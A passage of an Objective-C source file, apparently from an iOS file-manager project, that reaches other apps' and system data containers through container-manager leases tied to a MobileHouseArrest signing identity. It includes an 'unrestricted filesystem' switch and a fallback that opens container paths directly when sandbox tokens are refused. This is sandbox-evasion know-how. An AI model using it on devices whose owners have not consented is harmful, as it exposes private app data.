1734 lines
79 KiB
Objective-C
1734 lines
79 KiB
Objective-C
#import "MCMFilzaIntegration.h"
|
|
|
|
#import "MCMBridge.h"
|
|
#import <fcntl.h>
|
|
#import <limits.h>
|
|
#import <notify.h>
|
|
#import <objc/message.h>
|
|
#import <objc/runtime.h>
|
|
#import <stdio.h>
|
|
#import <stdlib.h>
|
|
#import <string.h>
|
|
#import <sys/stat.h>
|
|
#import <unistd.h>
|
|
|
|
static const uint64_t kMCMFlags = 0x900000000ULL;
|
|
static const uint64_t kMCMReadWritePartFlags = 0x8100000000ULL;
|
|
static NSString *const kRequiredIdentifier = @"com.apple.mobile.MobileHouseArrest";
|
|
static NSString *const kMCMAppDataDirectoryName = @"[MHA-C2] App Data";
|
|
static NSString *const kMCMAppGroupsDirectoryName = @"[MHA-C7] App Groups";
|
|
static NSString *const kMCMExtensionDataDirectoryName = @"[MHA-C4] Extension Data";
|
|
static NSString *const kMCMVPNDataDirectoryName = @"[MHA-C6] VPN Data";
|
|
static NSString *const kMCMServiceDataDirectoryName = @"[MHA-C10] Service Data";
|
|
static NSString *const kMCMSystemDataDirectoryName = @"[MHA-C12] System Data";
|
|
static NSString *const kMCMSystemGroupsDirectoryName = @"[MHA-C13] System Groups";
|
|
static NSString *const kMCMProtectedDataDirectoryName = @"[MHA-C15] Protected Data";
|
|
static NSString *const kMCMAdditionalLocationsDirectoryName =
|
|
@"[MHA-C13 Scoped] Additional Locations";
|
|
static NSString *const kMCMExperimentalDirectoryName =
|
|
@"[MHA-Mixed EXP] Experimental";
|
|
static NSString *const kMCMWallpaperLabDirectoryName = @"[MHA-C2] Wallpaper Lab";
|
|
static NSString *const kMCMDeletedGeneratedPathsKey =
|
|
@"FilzaSlopDeletedGeneratedPaths";
|
|
static NSMutableDictionary<NSString *, MCMLease *> *gLeases;
|
|
static BOOL gUnrestrictedFilesystem;
|
|
|
|
typedef CFTypeRef SecTaskRef;
|
|
extern SecTaskRef SecTaskCreateFromSelf(CFAllocatorRef allocator);
|
|
extern CFStringRef SecTaskCopySigningIdentifier(SecTaskRef task, CFErrorRef *error);
|
|
|
|
static NSString *MCMSignedCodeIdentifier(void)
|
|
{
|
|
static NSString *identifier;
|
|
static dispatch_once_t onceToken;
|
|
dispatch_once(&onceToken, ^{
|
|
SecTaskRef task = SecTaskCreateFromSelf(kCFAllocatorDefault);
|
|
if (!task) return;
|
|
CFErrorRef error = NULL;
|
|
CFStringRef value = SecTaskCopySigningIdentifier(task, &error);
|
|
if (value) identifier = [(__bridge NSString *)value copy];
|
|
if (value) CFRelease(value);
|
|
if (error) CFRelease(error);
|
|
CFRelease(task);
|
|
});
|
|
return identifier;
|
|
}
|
|
|
|
BOOL MCMFilzaIsRunningInLiveContainer(void)
|
|
{
|
|
const char *home = getenv("LC_HOME_PATH");
|
|
return home && home[0] == '/';
|
|
}
|
|
|
|
static NSString *MCMAbsoluteEnvironmentPath(const char *name)
|
|
{
|
|
const char *value = getenv(name);
|
|
if (!value || value[0] != '/') return nil;
|
|
NSString *path = [NSString stringWithUTF8String:value];
|
|
return path.length ? path.stringByStandardizingPath : nil;
|
|
}
|
|
|
|
static NSString *MCMLiveContainerAppGroupPath(void)
|
|
{
|
|
SEL selector = NSSelectorFromString(@"lcAppGroupPath");
|
|
Class defaults = NSUserDefaults.class;
|
|
if (![defaults respondsToSelector:selector]) return nil;
|
|
id value = ((id (*)(id, SEL))objc_msgSend)(defaults, selector);
|
|
return [value isKindOfClass:NSString.class] && [value isAbsolutePath]
|
|
? [value stringByStandardizingPath] : nil;
|
|
}
|
|
|
|
static NSArray<NSString *> *MCMLiveContainerAuthorityRoots(void)
|
|
{
|
|
if (!MCMFilzaIsRunningInLiveContainer()) return @[];
|
|
NSMutableOrderedSet<NSString *> *roots = [NSMutableOrderedSet orderedSet];
|
|
for (NSString *path in @[
|
|
MCMAbsoluteEnvironmentPath("LC_HOME_PATH") ?: @"",
|
|
MCMAbsoluteEnvironmentPath("HOME") ?: @"",
|
|
MCMLiveContainerAppGroupPath() ?: @"",
|
|
]) {
|
|
if (path.length) [roots addObject:path];
|
|
}
|
|
return roots.array;
|
|
}
|
|
|
|
void MCMFilzaSetUnrestrictedFilesystem(BOOL enabled)
|
|
{
|
|
gUnrestrictedFilesystem = enabled;
|
|
}
|
|
|
|
static void MCMEnsureState(void)
|
|
{
|
|
static dispatch_once_t onceToken;
|
|
dispatch_once(&onceToken, ^{ gLeases = [NSMutableDictionary dictionary]; });
|
|
}
|
|
|
|
@interface NSObject (MCMFilzaLaunchServices)
|
|
+ (id)defaultWorkspace;
|
|
- (NSArray *)allApplications;
|
|
- (NSString *)applicationIdentifier;
|
|
- (NSString *)bundleIdentifier;
|
|
@end
|
|
|
|
NSString *MCMFilzaVirtualRoot(void)
|
|
{
|
|
if (MCMFilzaIsRunningInLiveContainer()) {
|
|
NSString *home = MCMAbsoluteEnvironmentPath("HOME");
|
|
if (home.length)
|
|
return [[home stringByAppendingPathComponent:@"Documents"]
|
|
stringByAppendingPathComponent:@"Device Storage"];
|
|
}
|
|
NSString *documents = NSSearchPathForDirectoriesInDomains(
|
|
NSDocumentDirectory, NSUserDomainMask, YES).firstObject;
|
|
return [documents stringByAppendingPathComponent:@"Device Storage"];
|
|
}
|
|
|
|
NSString *MCMFilzaArchivePath(void)
|
|
{
|
|
return [[MCMFilzaVirtualRoot() stringByDeletingLastPathComponent]
|
|
stringByAppendingPathComponent:@"FilzaSlop Archive"];
|
|
}
|
|
|
|
static NSString *MCMGeneratedPathKey(NSString *path)
|
|
{
|
|
if (!path.length || !path.isAbsolutePath) return nil;
|
|
NSString *root = MCMFilzaVirtualRoot().stringByStandardizingPath;
|
|
NSString *candidate = path.stringByStandardizingPath;
|
|
NSString *prefix = [root stringByAppendingString:@"/"];
|
|
if (![candidate hasPrefix:prefix]) return nil;
|
|
return [candidate substringFromIndex:prefix.length];
|
|
}
|
|
|
|
static NSSet<NSString *> *MCMDeletedGeneratedPaths(void)
|
|
{
|
|
NSArray *values = [NSUserDefaults.standardUserDefaults
|
|
arrayForKey:kMCMDeletedGeneratedPathsKey];
|
|
return [NSSet setWithArray:[values isKindOfClass:NSArray.class] ? values : @[]];
|
|
}
|
|
|
|
static BOOL MCMGeneratedPathWasDeleted(NSString *path)
|
|
{
|
|
NSString *key = MCMGeneratedPathKey(path);
|
|
return key.length > 0 && [MCMDeletedGeneratedPaths() containsObject:key];
|
|
}
|
|
|
|
void MCMFilzaRecordDeletedGeneratedPath(NSString *path)
|
|
{
|
|
NSString *key = MCMGeneratedPathKey(path);
|
|
if (!key.length) return;
|
|
NSUserDefaults *defaults = NSUserDefaults.standardUserDefaults;
|
|
@synchronized (defaults) {
|
|
NSMutableOrderedSet<NSString *> *values = [NSMutableOrderedSet
|
|
orderedSetWithArray:[defaults arrayForKey:kMCMDeletedGeneratedPathsKey]
|
|
?: @[]];
|
|
if ([values containsObject:key]) return;
|
|
[values addObject:key];
|
|
[defaults setObject:values.array forKey:kMCMDeletedGeneratedPathsKey];
|
|
[defaults synchronize];
|
|
}
|
|
NSLog(@"[GeneratedFiles] recorded deletion %@", key);
|
|
}
|
|
|
|
static BOOL MCMWriteGeneratedString(NSString *text, NSString *path)
|
|
{
|
|
if (MCMGeneratedPathWasDeleted(path)) {
|
|
NSLog(@"[GeneratedFiles] kept deleted path absent %@", path);
|
|
return NO;
|
|
}
|
|
return [text writeToFile:path atomically:YES
|
|
encoding:NSUTF8StringEncoding error:nil];
|
|
}
|
|
|
|
static BOOL MCMWriteGeneratedPropertyList(id value, NSString *path)
|
|
{
|
|
if (MCMGeneratedPathWasDeleted(path)) {
|
|
NSLog(@"[GeneratedFiles] kept deleted path absent %@", path);
|
|
return NO;
|
|
}
|
|
return [value writeToFile:path atomically:YES];
|
|
}
|
|
|
|
static void MCMRunGeneratedDeletionProbe(NSFileManager *manager, NSString *root)
|
|
{
|
|
const char *phaseValue = getenv("FILZA_GENERATED_DELETE_PROBE");
|
|
if (!phaseValue || !phaseValue[0]) return;
|
|
NSString *phase = [NSString stringWithUTF8String:phaseValue];
|
|
if (![phase isEqualToString:@"record"] &&
|
|
![phase isEqualToString:@"verify"]) return;
|
|
|
|
NSString *path = [root
|
|
stringByAppendingPathComponent:@".filzaslop-generated-delete-probe.txt"];
|
|
BOOL setup = YES;
|
|
if ([phase isEqualToString:@"record"]) {
|
|
[manager removeItemAtPath:path error:nil];
|
|
setup = [@"probe" writeToFile:path atomically:YES
|
|
encoding:NSUTF8StringEncoding error:nil];
|
|
MCMFilzaRecordDeletedGeneratedPath(path);
|
|
setup = [manager removeItemAtPath:path error:nil] && setup;
|
|
}
|
|
|
|
BOOL writeResult = MCMWriteGeneratedString(@"must stay deleted", path);
|
|
BOOL exists = [manager fileExistsAtPath:path];
|
|
BOOL recorded = [MCMDeletedGeneratedPaths()
|
|
containsObject:MCMGeneratedPathKey(path)];
|
|
BOOL passed = setup && !writeResult && !exists && recorded;
|
|
fprintf(stderr,
|
|
"[GeneratedDeleteProbe] phase=%s setup=%d write=%d exists=%d recorded=%d pass=%d\n",
|
|
phase.UTF8String, setup, writeResult, exists, recorded, passed);
|
|
fflush(stderr);
|
|
}
|
|
|
|
NSString *MCMFilzaWallpaperLabName(void)
|
|
{
|
|
return kMCMWallpaperLabDirectoryName;
|
|
}
|
|
|
|
static NSString *MCMKey(uint64_t containerClass, NSString *identifier)
|
|
{
|
|
return [NSString stringWithFormat:@"%llu:%@", containerClass, identifier];
|
|
}
|
|
|
|
static NSString *MCMScopedKey(uint64_t containerClass, NSString *identifier,
|
|
uint64_t part, NSString *partDomain, uint64_t flags)
|
|
{
|
|
return [NSString stringWithFormat:@"%llu:%@:%llu:%@:%llx", containerClass,
|
|
identifier, part, partDomain ?: @"", flags];
|
|
}
|
|
|
|
static BOOL MCMSafeIdentifier(NSString *identifier)
|
|
{
|
|
if (identifier.length == 0 || identifier.length > 255) return NO;
|
|
NSCharacterSet *allowed = [NSCharacterSet characterSetWithCharactersInString:
|
|
@"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.-_"];
|
|
return [identifier rangeOfCharacterFromSet:allowed.invertedSet].location == NSNotFound &&
|
|
![identifier isEqualToString:@"."] && ![identifier isEqualToString:@".."];
|
|
}
|
|
|
|
static NSString *MCMActivate(uint64_t containerClass, NSString *identifier,
|
|
BOOL group, NSString **error)
|
|
{
|
|
MCMEnsureState();
|
|
if (![MCMSignedCodeIdentifier() isEqualToString:kRequiredIdentifier]) {
|
|
if (error) *error = @"signed code identifier is not the required MCM caller identity";
|
|
return nil;
|
|
}
|
|
if (!MCMSafeIdentifier(identifier)) {
|
|
if (error) *error = @"identifier contains unsupported path characters";
|
|
return nil;
|
|
}
|
|
@synchronized (gLeases) {
|
|
MCMLease *existing = gLeases[MCMKey(containerClass, identifier)];
|
|
if (existing.rootPath.length)
|
|
return existing.rootPath;
|
|
NSString *detail = nil;
|
|
MCMLease *lease = [MCMLease leaseForClass:containerClass identifier:identifier
|
|
group:group part:0 flags:kMCMFlags error:&detail];
|
|
BOOL activated = lease && [lease activate:&detail];
|
|
if (!lease) {
|
|
if (error) *error = detail ?: @"MCM activation failed";
|
|
return nil;
|
|
}
|
|
// iOS 26 containermanagerd lacks genericExtensionsAllowedForAll, so it
|
|
// refuses sandbox tokens for callers not in the per-class allowed set.
|
|
// The path is still valid — try opening it before giving up.
|
|
int descriptor = open(lease.rootPath.fileSystemRepresentation,
|
|
O_RDONLY | O_DIRECTORY | O_CLOEXEC | O_NOFOLLOW);
|
|
if (descriptor < 0) {
|
|
if (!activated && !gUnrestrictedFilesystem) {
|
|
if (error) *error = detail ?: @"MCM activation failed";
|
|
[lease invalidate];
|
|
return nil;
|
|
}
|
|
if (error) *error = [NSString stringWithFormat:@"container root open failed errno=%d", errno];
|
|
[lease invalidate];
|
|
return nil;
|
|
}
|
|
close(descriptor);
|
|
gLeases[MCMKey(containerClass, identifier)] = lease;
|
|
return lease.rootPath;
|
|
}
|
|
}
|
|
|
|
static NSString *MCMActivateScoped(uint64_t containerClass, NSString *identifier,
|
|
BOOL group, uint64_t part,
|
|
NSString *partDomain, uint64_t flags,
|
|
NSString **error)
|
|
{
|
|
MCMEnsureState();
|
|
if (![MCMSignedCodeIdentifier() isEqualToString:kRequiredIdentifier]) {
|
|
if (error) *error = @"signed code identifier is not the required MCM caller identity";
|
|
return nil;
|
|
}
|
|
if (!MCMSafeIdentifier(identifier)) {
|
|
if (error) *error = @"identifier contains unsupported path characters";
|
|
return nil;
|
|
}
|
|
NSString *key = MCMScopedKey(containerClass, identifier, part, partDomain, flags);
|
|
@synchronized (gLeases) {
|
|
MCMLease *existing = gLeases[key];
|
|
if (existing.rootPath.length) return existing.rootPath;
|
|
NSString *detail = nil;
|
|
MCMLease *lease = [MCMLease leaseForClass:containerClass
|
|
identifier:identifier group:group part:part partDomain:partDomain
|
|
flags:flags error:&detail];
|
|
BOOL activated = lease && [lease activate:&detail];
|
|
if (!lease) {
|
|
if (error) *error = detail ?: @"scoped MCM activation failed";
|
|
return nil;
|
|
}
|
|
int descriptor = open(lease.rootPath.fileSystemRepresentation,
|
|
O_RDONLY | O_DIRECTORY | O_CLOEXEC);
|
|
if (descriptor < 0) {
|
|
if (!activated) {
|
|
if (error) *error = detail ?: @"scoped MCM activation failed";
|
|
[lease invalidate];
|
|
return nil;
|
|
}
|
|
if (error) *error = [NSString stringWithFormat:
|
|
@"scoped directory open failed errno=%d", errno];
|
|
[lease invalidate];
|
|
return nil;
|
|
}
|
|
close(descriptor);
|
|
gLeases[key] = lease;
|
|
return lease.rootPath;
|
|
}
|
|
}
|
|
|
|
NSString *MCMFilzaDataContainerPath(NSString *identifier, NSString **error)
|
|
{
|
|
return MCMActivate(2, identifier, NO, error);
|
|
}
|
|
|
|
static BOOL MCMPathIsInsideRoot(NSString *path, NSString *root)
|
|
{
|
|
NSString *(^normalized)(NSString *) = ^NSString *(NSString *value) {
|
|
NSString *result = value.stringByStandardizingPath;
|
|
if ([result isEqualToString:@"/var"] || [result hasPrefix:@"/var/"])
|
|
result = [@"/private" stringByAppendingString:result];
|
|
return result;
|
|
};
|
|
NSString *candidate = normalized(path);
|
|
NSString *base = normalized(root);
|
|
return [candidate isEqualToString:base] ||
|
|
[candidate hasPrefix:[base stringByAppendingString:@"/"]];
|
|
}
|
|
|
|
BOOL MCMFilzaPathHasActiveLease(NSString *path)
|
|
{
|
|
if (path.length == 0 || !path.isAbsolutePath) return NO;
|
|
if (gUnrestrictedFilesystem) return YES;
|
|
NSString *virtualRoot = MCMFilzaVirtualRoot();
|
|
NSString *experimentalRoot = [virtualRoot
|
|
stringByAppendingPathComponent:kMCMExperimentalDirectoryName];
|
|
NSString *filesTraversalRoot = [virtualRoot
|
|
stringByAppendingPathComponent:@"Files Traversal"];
|
|
// The experimental consumer mounts are browse-first. Keep the custom
|
|
// local paste path from turning a traversal check into a target mutation.
|
|
if (MCMPathIsInsideRoot(path, experimentalRoot) ||
|
|
MCMPathIsInsideRoot(path, filesTraversalRoot)) return NO;
|
|
if (MCMPathIsInsideRoot(path, virtualRoot) ||
|
|
MCMPathIsInsideRoot(path, MCMFilzaArchivePath())) return YES;
|
|
if (MCMFilzaIsRunningInLiveContainer()) {
|
|
for (NSString *root in MCMLiveContainerAuthorityRoots())
|
|
if (MCMPathIsInsideRoot(path, root)) return YES;
|
|
return NO;
|
|
}
|
|
MCMEnsureState();
|
|
@synchronized (gLeases) {
|
|
for (MCMLease *lease in gLeases.allValues)
|
|
if (lease.activated && MCMPathIsInsideRoot(path, lease.rootPath)) return YES;
|
|
}
|
|
return NO;
|
|
}
|
|
|
|
static void MCMInstallLiveContainerLink(NSFileManager *manager, NSString *root,
|
|
NSString *name, NSString *target)
|
|
{
|
|
if (!target.length || !target.isAbsolutePath) return;
|
|
BOOL isDirectory = NO;
|
|
if (![manager fileExistsAtPath:target isDirectory:&isDirectory] || !isDirectory)
|
|
return;
|
|
|
|
NSString *link = [root stringByAppendingPathComponent:name];
|
|
struct stat status = {0};
|
|
if (lstat(link.fileSystemRepresentation, &status) == 0) {
|
|
if (!S_ISLNK(status.st_mode)) {
|
|
NSLog(@"[LiveContainer] keeping non-link path %@", link);
|
|
return;
|
|
}
|
|
if (unlink(link.fileSystemRepresentation) != 0) {
|
|
NSLog(@"[LiveContainer] could not refresh link %@ errno=%d", link, errno);
|
|
return;
|
|
}
|
|
}
|
|
if (symlink(target.fileSystemRepresentation, link.fileSystemRepresentation) != 0)
|
|
NSLog(@"[LiveContainer] link failed %@ -> %@ errno=%d", link, target, errno);
|
|
else
|
|
NSLog(@"[LiveContainer] linked %@ -> %@", link, target);
|
|
}
|
|
|
|
static void MCMInstallArchiveAlias(NSFileManager *manager, NSString *root)
|
|
{
|
|
NSString *archive = MCMFilzaArchivePath();
|
|
NSError *error = nil;
|
|
if (![manager createDirectoryAtPath:archive withIntermediateDirectories:YES
|
|
attributes:@{NSFilePosixPermissions: @0700}
|
|
error:&error]) {
|
|
NSLog(@"[Archive] directory creation failed path=%@ error=%@", archive, error);
|
|
return;
|
|
}
|
|
|
|
NSString *link = [root stringByAppendingPathComponent:@"Archive"];
|
|
struct stat status = {0};
|
|
if (lstat(link.fileSystemRepresentation, &status) == 0) {
|
|
if (!S_ISLNK(status.st_mode)) {
|
|
NSLog(@"[Archive] keeping non-link path %@", link);
|
|
return;
|
|
}
|
|
if (unlink(link.fileSystemRepresentation) != 0) {
|
|
NSLog(@"[Archive] stale alias removal failed path=%@ errno=%d", link, errno);
|
|
return;
|
|
}
|
|
}
|
|
if (symlink(archive.fileSystemRepresentation, link.fileSystemRepresentation) != 0)
|
|
NSLog(@"[Archive] alias failed %@ -> %@ errno=%d", link, archive, errno);
|
|
else
|
|
NSLog(@"[Archive] alias ready %@ -> %@", link, archive);
|
|
}
|
|
|
|
static void MCMInstallLiveContainerRoot(void)
|
|
{
|
|
NSFileManager *manager = NSFileManager.defaultManager;
|
|
NSString *root = MCMFilzaVirtualRoot();
|
|
[manager createDirectoryAtPath:root withIntermediateDirectories:YES
|
|
attributes:@{NSFilePosixPermissions: @0700} error:nil];
|
|
MCMInstallArchiveAlias(manager, root);
|
|
|
|
NSString *hostHome = MCMAbsoluteEnvironmentPath("LC_HOME_PATH");
|
|
NSString *hostDocuments = [hostHome stringByAppendingPathComponent:@"Documents"];
|
|
NSString *sharedRoot = [MCMLiveContainerAppGroupPath()
|
|
stringByAppendingPathComponent:@"LiveContainer"];
|
|
|
|
NSArray<NSArray<NSString *> *> *links = @[
|
|
@[@"[LiveContainer] Local Apps",
|
|
[hostDocuments stringByAppendingPathComponent:@"Applications"] ?: @""],
|
|
@[@"[LiveContainer] Local App Data",
|
|
[hostDocuments stringByAppendingPathComponent:@"Data/Application"] ?: @""],
|
|
@[@"[LiveContainer] Local App Groups",
|
|
[hostDocuments stringByAppendingPathComponent:@"Data/AppGroup"] ?: @""],
|
|
@[@"[LiveContainer] Shared Apps",
|
|
[sharedRoot stringByAppendingPathComponent:@"Applications"] ?: @""],
|
|
@[@"[LiveContainer] Shared App Data",
|
|
[sharedRoot stringByAppendingPathComponent:@"Data/Application"] ?: @""],
|
|
@[@"[LiveContainer] Shared App Groups",
|
|
[sharedRoot stringByAppendingPathComponent:@"Data/AppGroup"] ?: @""],
|
|
];
|
|
for (NSArray<NSString *> *entry in links)
|
|
MCMInstallLiveContainerLink(manager, root, entry[0], entry[1]);
|
|
|
|
NSString *readme = @"LiveContainer compatibility mode\n\n"
|
|
@"These links expose apps and data stored by this LiveContainer.\n"
|
|
@"Edits affect the live guest containers.\n\n"
|
|
@"The process still uses LiveContainer's signed identity. "
|
|
"It cannot receive MobileHouseArrest access to system app containers.\n";
|
|
MCMWriteGeneratedString(readme,
|
|
[root stringByAppendingPathComponent:@"README.txt"]);
|
|
}
|
|
|
|
static void MCMInstallLinkWithFailureLogging(NSString *directory,
|
|
NSString *identifier,
|
|
uint64_t containerClass,
|
|
BOOL group,
|
|
BOOL logFailure)
|
|
{
|
|
NSString *error = nil;
|
|
NSString *target = MCMActivate(containerClass, identifier, group, &error);
|
|
if (!target) {
|
|
if (logFailure)
|
|
NSLog(@"[MCMFilza] activation failed class=%llu id=%@ detail=%@",
|
|
containerClass, identifier, error);
|
|
return;
|
|
}
|
|
NSString *link = [directory stringByAppendingPathComponent:identifier];
|
|
struct stat status = {0};
|
|
if (lstat(link.fileSystemRepresentation, &status) == 0) {
|
|
if (!S_ISLNK(status.st_mode)) return;
|
|
char current[PATH_MAX] = {0};
|
|
ssize_t count = readlink(link.fileSystemRepresentation, current, sizeof(current) - 1);
|
|
if (count > 0 && [[NSString stringWithUTF8String:current] isEqualToString:target]) return;
|
|
unlink(link.fileSystemRepresentation);
|
|
}
|
|
if (symlink(target.fileSystemRepresentation, link.fileSystemRepresentation) != 0)
|
|
NSLog(@"[MCMFilza] symlink failed id=%@ errno=%d", identifier, errno);
|
|
}
|
|
|
|
static void MCMInstallLink(NSString *directory, NSString *identifier,
|
|
uint64_t containerClass, BOOL group)
|
|
{
|
|
MCMInstallLinkWithFailureLogging(directory, identifier, containerClass,
|
|
group, YES);
|
|
}
|
|
|
|
static NSString *MCMDirectIdentifier(NSString *containerPath, NSString *fallback)
|
|
{
|
|
NSString *metadataPath = [containerPath stringByAppendingPathComponent:
|
|
@".com.apple.mobile_container_manager.metadata.plist"];
|
|
NSDictionary *metadata = [NSDictionary dictionaryWithContentsOfFile:metadataPath];
|
|
NSString *identifier = [metadata[@"MCMMetadataIdentifier"]
|
|
isKindOfClass:NSString.class] ? metadata[@"MCMMetadataIdentifier"] : nil;
|
|
return MCMSafeIdentifier(identifier) ? identifier : fallback;
|
|
}
|
|
|
|
static void MCMInstallDirectFilesystemLinks(NSString *directory,
|
|
NSString *containerRoot)
|
|
{
|
|
if (!gUnrestrictedFilesystem) return;
|
|
NSFileManager *manager = NSFileManager.defaultManager;
|
|
NSArray<NSString *> *children = [manager contentsOfDirectoryAtPath:containerRoot
|
|
error:nil];
|
|
for (NSString *child in children ?: @[]) {
|
|
if (!MCMSafeIdentifier(child)) continue;
|
|
NSString *target = [containerRoot stringByAppendingPathComponent:child];
|
|
BOOL isDirectory = NO;
|
|
if (![manager fileExistsAtPath:target isDirectory:&isDirectory] || !isDirectory)
|
|
continue;
|
|
NSString *identifier = MCMDirectIdentifier(target, child);
|
|
if (!MCMSafeIdentifier(identifier)) continue;
|
|
NSString *link = [directory stringByAppendingPathComponent:identifier];
|
|
struct stat status = {0};
|
|
if (lstat(link.fileSystemRepresentation, &status) == 0) {
|
|
if (!S_ISLNK(status.st_mode)) continue;
|
|
unlink(link.fileSystemRepresentation);
|
|
}
|
|
if (symlink(target.fileSystemRepresentation, link.fileSystemRepresentation) != 0)
|
|
NSLog(@"[MCMFilza] direct symlink failed id=%@ target=%@ errno=%d",
|
|
identifier, target, errno);
|
|
}
|
|
}
|
|
|
|
static void MCMMigrateStorageEntry(NSFileManager *manager, NSString *directory,
|
|
NSString *oldName, NSString *newName)
|
|
{
|
|
if (oldName.length == 0 || newName.length == 0 ||
|
|
[oldName isEqualToString:newName])
|
|
return;
|
|
|
|
NSString *source = [directory stringByAppendingPathComponent:oldName];
|
|
NSString *destination = [directory stringByAppendingPathComponent:newName];
|
|
if ([manager fileExistsAtPath:source] &&
|
|
![manager fileExistsAtPath:destination]) {
|
|
NSError *error = nil;
|
|
if (![manager moveItemAtPath:source toPath:destination error:&error])
|
|
NSLog(@"[MCMFilza] label migration failed old=%@ new=%@ error=%@",
|
|
source, destination, error);
|
|
else
|
|
NSLog(@"[MCMFilza] label migration complete old=%@ new=%@",
|
|
source, destination);
|
|
} else if ([manager fileExistsAtPath:source]) {
|
|
NSLog(@"[MCMFilza] label migration skipped because destination exists old=%@ new=%@",
|
|
source, destination);
|
|
}
|
|
}
|
|
|
|
static void MCMMigrateLegacyTopLevelNames(NSFileManager *manager, NSString *root)
|
|
{
|
|
NSArray<NSArray<NSString *> *> *migrations = @[
|
|
@[@"App Data", @"[MHA-C2] App Data"],
|
|
@[@"App Groups", @"[MHA-C7] App Groups"],
|
|
@[@"Extension Data", @"[MHA-C4] Extension Data"],
|
|
@[@"VPN Data", @"[MHA-C6] VPN Data"],
|
|
@[@"Service Data", @"[MHA-C10] Service Data"],
|
|
@[@"System Data", @"[MHA-C12] System Data"],
|
|
@[@"System Groups", @"[MHA-C13] System Groups"],
|
|
@[@"Protected Data", @"[MHA-C15] Protected Data"],
|
|
@[@"Additional Locations", @"[MHA-C13 Scoped] Additional Locations"],
|
|
@[@"Experimental", @"[MHA-Mixed EXP] Experimental"],
|
|
@[@"Wallpaper Lab", @"[MHA-C2] Wallpaper Lab"],
|
|
];
|
|
for (NSArray<NSString *> *migration in migrations)
|
|
MCMMigrateStorageEntry(manager, root, migration[0], migration[1]);
|
|
}
|
|
|
|
static void MCMInstallScopedLink(NSString *directory, NSString *linkName,
|
|
uint64_t containerClass, NSString *identifier,
|
|
BOOL group, uint64_t part, NSString *partDomain)
|
|
{
|
|
NSString *link = [directory stringByAppendingPathComponent:linkName];
|
|
NSString *error = nil;
|
|
NSString *target = MCMActivateScoped(containerClass, identifier, group, part,
|
|
partDomain, kMCMReadWritePartFlags, &error);
|
|
if (!target) {
|
|
struct stat stale = {0};
|
|
if (lstat(link.fileSystemRepresentation, &stale) == 0 &&
|
|
S_ISLNK(stale.st_mode))
|
|
unlink(link.fileSystemRepresentation);
|
|
NSLog(@"[MCMFilza] scoped activation failed class=%llu id=%@ part=%llu domain=%@ detail=%@",
|
|
containerClass, identifier, part, partDomain, error);
|
|
return;
|
|
}
|
|
struct stat status = {0};
|
|
if (lstat(link.fileSystemRepresentation, &status) == 0) {
|
|
if (!S_ISLNK(status.st_mode)) return;
|
|
char current[PATH_MAX] = {0};
|
|
ssize_t count = readlink(link.fileSystemRepresentation, current, sizeof(current) - 1);
|
|
if (count > 0 && [[NSString stringWithUTF8String:current] isEqualToString:target]) return;
|
|
unlink(link.fileSystemRepresentation);
|
|
}
|
|
if (symlink(target.fileSystemRepresentation, link.fileSystemRepresentation) != 0)
|
|
NSLog(@"[MCMFilza] scoped symlink failed name=%@ errno=%d", linkName, errno);
|
|
else
|
|
NSLog(@"[MCMFilza] scoped path ready name=%@ target=%@", linkName, target);
|
|
}
|
|
|
|
static NSDictionary *MCMExperimentalPathStatus(NSString *path)
|
|
{
|
|
NSMutableDictionary *result = [@{ @"Path": path ?: @"" }
|
|
mutableCopy];
|
|
struct stat status = {0};
|
|
errno = 0;
|
|
if (path.length == 0 || lstat(path.fileSystemRepresentation, &status) != 0) {
|
|
int savedErrno = errno;
|
|
result[@"Exists"] = @NO;
|
|
result[@"Errno"] = @(savedErrno);
|
|
result[@"Error"] = [NSString stringWithUTF8String:strerror(savedErrno)]
|
|
?: @"unknown";
|
|
return result;
|
|
}
|
|
|
|
BOOL directory = S_ISDIR(status.st_mode);
|
|
result[@"Exists"] = @YES;
|
|
result[@"Kind"] = directory ? @"directory" :
|
|
(S_ISREG(status.st_mode) ? @"file" :
|
|
(S_ISLNK(status.st_mode) ? @"symlink" : @"other"));
|
|
result[@"Mode"] = [NSString stringWithFormat:@"%04o",
|
|
status.st_mode & 07777];
|
|
result[@"UID"] = @(status.st_uid);
|
|
result[@"GID"] = @(status.st_gid);
|
|
|
|
errno = 0;
|
|
BOOL readable = access(path.fileSystemRepresentation, R_OK) == 0;
|
|
int readErrno = readable ? 0 : errno;
|
|
errno = 0;
|
|
BOOL writable = access(path.fileSystemRepresentation, W_OK) == 0;
|
|
int writeErrno = writable ? 0 : errno;
|
|
int flags = O_RDONLY | O_CLOEXEC | (directory ? O_DIRECTORY : 0);
|
|
errno = 0;
|
|
int descriptor = open(path.fileSystemRepresentation, flags);
|
|
int openErrno = descriptor >= 0 ? 0 : errno;
|
|
if (descriptor >= 0) close(descriptor);
|
|
result[@"Readable"] = @(readable);
|
|
result[@"ReadErrno"] = @(readErrno);
|
|
result[@"Writable"] = @(writable);
|
|
result[@"WriteErrno"] = @(writeErrno);
|
|
result[@"ReadOnlyOpen"] = @(descriptor >= 0);
|
|
result[@"OpenErrno"] = @(openErrno);
|
|
return result;
|
|
}
|
|
|
|
static void MCMRemoveStaleExperimentalLink(NSString *path)
|
|
{
|
|
struct stat status = {0};
|
|
if (lstat(path.fileSystemRepresentation, &status) == 0 &&
|
|
S_ISLNK(status.st_mode))
|
|
unlink(path.fileSystemRepresentation);
|
|
}
|
|
|
|
static BOOL MCMInstallExperimentalSymlink(NSString *path, NSString *target,
|
|
NSString **error)
|
|
{
|
|
struct stat status = {0};
|
|
if (lstat(path.fileSystemRepresentation, &status) == 0) {
|
|
if (!S_ISLNK(status.st_mode)) {
|
|
if (error) *error = @"entry exists and is not a symlink";
|
|
return NO;
|
|
}
|
|
char current[PATH_MAX] = {0};
|
|
ssize_t count = readlink(path.fileSystemRepresentation, current,
|
|
sizeof(current) - 1);
|
|
NSString *currentTarget = count > 0
|
|
? [NSString stringWithUTF8String:current] : nil;
|
|
if ([currentTarget isEqualToString:target]) return YES;
|
|
if (unlink(path.fileSystemRepresentation) != 0) {
|
|
if (error) *error = [NSString stringWithFormat:
|
|
@"stale symlink removal failed errno=%d", errno];
|
|
return NO;
|
|
}
|
|
}
|
|
if (symlink(target.fileSystemRepresentation,
|
|
path.fileSystemRepresentation) != 0) {
|
|
if (error) *error = [NSString stringWithFormat:
|
|
@"symlink failed errno=%d", errno];
|
|
return NO;
|
|
}
|
|
return YES;
|
|
}
|
|
|
|
static NSString *MCMCanonicalLexicalPath(NSString *path)
|
|
{
|
|
NSString *result = path.stringByStandardizingPath;
|
|
